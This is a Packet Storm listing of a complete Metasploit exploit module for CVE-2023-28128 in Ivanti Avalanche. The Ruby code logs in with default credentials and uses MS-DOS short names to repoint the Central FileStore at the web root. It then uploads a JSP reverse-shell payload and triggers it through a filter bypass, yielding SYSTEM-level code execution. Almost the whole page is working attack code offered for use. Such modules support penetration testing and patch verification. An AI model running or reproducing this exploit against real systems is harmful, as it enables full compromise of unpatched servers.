Lucene search

K
packetstormShelby Pace, Piotr Bazydlo, metasploit.comPACKETSTORM:172398
HistoryMay 16, 2023 - 12:00 a.m.

Ivanti Avalanche FileStoreConfig Shell Upload

2023-05-1600:00:00
Shelby Pace, Piotr Bazydlo, metasploit.com
packetstormsecurity.com
195
ivanti avalanche
filestoreconfig
remote code execution
ms-dos style
central filestore
rce
nt authority\system

0.13 Low

EPSS

Percentile

95.5%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ivanti Avalanche FileStoreConfig File Upload',  
'Description' => %q{  
Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short  
names in the configuration path for the Central FileStore. Because of  
this, an administrator can change the default path to the web root  
of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Piotr Bazydlo', # @chudypb - Vulnerability Discovery  
'Shelby Pace' # Metasploit module  
],  
'References' => [  
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'],  
['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'],  
['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'],  
['CVE', '2023-28128']  
],  
'Platform' => ['win', 'java'],  
'Privileged' => true,  
'Arch' => ARCH_JAVA,  
'Targets' => [  
[ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }]  
],  
'DisclosureDate' => '2023-04-24',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]),  
OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]),  
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ])  
]  
)  
end  
  
def check  
# Cleanup should not be needed after doing just a check.  
@cleanup_needed = false  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'login.jsf'),  
'method' => 'GET'  
)  
  
return CheckCode::Unknown('Failed to receive a response from the application') unless res  
  
unless res.body.include?('Avalanche - User Login')  
return CheckCode::Safe('Application does not appear to be Ivanti Avalanche')  
end  
  
html = res.get_html_document  
elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) }  
return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem  
  
version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/)  
return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2  
  
version = version[1]  
vprint_status("Version of Ivanti Avalanche appears to be v#{version}")  
ver_no = Rex::Version.new(version)  
patched_version = Rex::Version.new('6.4.0.186')  
  
if ver_no >= patched_version  
CheckCode::Safe('Target has been patched!')  
elsif ver_no < patched_version  
CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!')  
else  
CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}")  
end  
end  
  
def authenticate  
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?  
fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options')  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'login.jsf'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login')  
  
html = res.get_html_document  
view_state = get_view_state(html)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'login.jsf'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'loginForm' => 'loginForm',  
'j_idt8' => '',  
'loginField' => datastore['USERNAME'],  
'passwordField' => datastore['PASSWORD'],  
'TextCaptchaAnswer' => '',  
'javax.faces.ViewState' => view_state,  
'loginTableButton' => 'loginTableButton'  
}  
)  
  
unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf')  
fail_with(Failure::UnexpectedReply, 'Login failed')  
end  
end  
  
def get_view_state(html)  
view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text  
  
view_state  
end  
  
def configure_filestore  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first  
fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration')  
end  
  
html = res.get_html_document  
view_state = get_view_state(html)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state  
  
@original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text  
fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path  
print_status("Original FileStore config path: '#{@original_config_path}'")  
  
# determine drive letter  
drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/)  
fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3  
drive_letter = drive_letter[1]  
  
new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web"  
print_status("Changing FileStore config path to '#{new_config_path}'")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',  
'formFileStoreConfig' => 'formFileStoreConfig',  
'txtUncPath' => new_config_path,  
'txtVelocityFolder' => '',  
'javax.faces.ViewState' => view_state  
}  
)  
  
input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first  
if input_field_html.blank?  
fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!')  
elsif input_field_html[:value] != new_config_path  
fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path')  
end  
end  
  
def get_directory_val(res, dir_name)  
html = res.get_html_document  
results = html.xpath('//tr[contains(@class, "DIRECTORY")]')  
fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results  
  
expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name }  
fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir  
data_rk = expand_dir.at('@data-rk')&.value  
fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk  
  
data_rk  
end  
  
def expand_folder(data_rk, view_state)  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',  
'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',  
'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree',  
'fileStoreTree_dlgFileStoreTree_expand' => data_rk,  
'javax.faces.ViewState' => view_state  
}  
)  
end  
  
def select_folder(data_rk, view_state)  
@cleanup_needed = true  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' =>  
{  
'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',  
'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',  
'javax.faces.behavior.event' => 'select',  
'javax.faces.partial.event' => 'select',  
'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk,  
'form_filestore_tree' => 'form_filestore_tree',  
'fileStoreTree_dlgFileStoreTree_selection' => data_rk,  
'javax.faces.ViewState' => view_state  
}  
)  
end  
  
def upload_payload  
payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp"  
# need to 'select' webapps/AvalancheWeb to upload a file  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first  
web_data_rk = get_directory_val(res, 'webapps')  
view_state = get_view_state(res.get_html_document)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state  
  
res = expand_folder(web_data_rk, view_state)  
fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res  
avalanche_data_rk = get_directory_val(res, 'AvalancheWeb')  
view_state = get_view_state(res.get_html_document)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state  
res = select_folder(avalanche_data_rk, view_state)  
fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res  
  
view_state = get_view_state(res.get_html_document)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state  
  
boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"  
  
post_data = "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n"  
post_data << "upload-form\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n"  
post_data << "#{view_state}\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n"  
post_data << "true\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n"  
post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n"  
post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n"  
post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n"  
post_data << "Content-Type: application/octet-stream\r\n\r\n"  
post_data << "#{payload.encoded}\r\n"  
post_data << "--#{boundary}--\r\n"  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'POST',  
'keep_cookies' => true,  
'data' => post_data,  
'headers' => {  
'Accept' => 'application/xml, text/xml, */*; q=0.01',  
'Faces-Request' => 'partial/ajax',  
'X-RequestedWith' => 'XMLHttpRequest',  
'Content-Type' => "multipart/form-data; boundary=#{boundary}",  
'Accept-Encoding' => 'gzip, deflate'  
}  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}")  
  
print_good("Successfully uploaded '#{payload_name}'")  
payload_name  
end  
  
def cleanup  
if @cleanup_needed == false  
return  
end  
  
restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.'  
print_status('Attempting to restore config path')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
unless res  
print_error("Could not access FileStore config. #{restore_msg}")  
return  
end  
  
html = res.get_html_document  
view_state = get_view_state(html)  
unless view_state  
print_error("Failed to get view state. #{restore_msg}")  
return  
end  
  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',  
'formFileStoreConfig' => 'formFileStoreConfig',  
'txtUncPath' => @original_config_path,  
'txtVelocityFolder' => '',  
'javax.faces.ViewState' => view_state  
}  
)  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
unless res&.body&.include?(@original_config_path)  
print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}")  
return  
end  
  
print_good('Successfully restored the FileStore config path')  
end  
  
def exploit  
# Starting off we shouldn't need cleanup, however if we get to the point were we start  
# to change config settings then we will need to clean that up.  
@cleanup_needed = false  
  
authenticate  
configure_filestore  
payload_name = upload_payload  
  
register_file_for_cleanup("webapps/#{payload_name}")  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet  
'method' => 'GET',  
'keep_cookies' => true  
)  
end  
end  
`

0.13 Low

EPSS

Percentile

95.5%